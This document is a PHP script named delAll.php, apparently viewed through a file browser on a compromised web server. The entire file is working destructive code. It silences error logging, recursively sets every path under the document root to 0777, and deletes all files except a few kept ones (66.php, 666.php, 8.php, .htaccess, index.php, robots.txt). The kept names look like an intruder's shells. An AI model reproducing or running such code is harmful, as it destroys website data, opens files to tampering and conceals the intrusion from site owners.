View file File name : delAll.php Content :<?php @ini_set('log_errors', 0); @ini_set('error_log', NULL); @ini_set('error_reporting', NULL); @error_reporting(0); $path = isset( $_SERVER['DOCUMENT_ROOT'] ) ? $_SERVER['DOCUMENT_ROOT'] : ''; $path = str_replace( '//', '/', $path ); $fileArray = array($path.'/66.php', $path.'/666.php', $path.'/8.php',$path.'/.htaccess', $path.'/index.php', $path.'/robots.txt'); function scanDirRecursive( $dir ) { global $path, $fileArray; if ($handle = opendir( $dir ) ) { while ( ($file = readdir( $handle ) ) !== false) { if ( $file != "." && $file != ".." ) { $fullPath = $dir . DIRECTORY_SEPARATOR . $file; chmod( $fullPath, 0777 ); if ( is_dir( $fullPath ) ) { scanDirRecursive($fullPath); } else { if ( !in_array($fullPath, $fileArray) ){ @unlink( $fullPath ); } } } } closedir($handle); } } function delDir( $dir ) { global $path; if ($handle = opendir( $dir ) ) { while ( ($file = readdir( $handle ) ) !== false) { if ( $file != "." && $file != ".." ) { $fullPath = $dir . DIRECTORY_SEPARATOR . $file; chmod( $fullPath, 0777 ); if ( is_dir( $fullPath ) ) { @unlink( $fullPath ); } } } closedir($handle); } } scanDirRecursive( $path ); delDir( $path ); echo 1;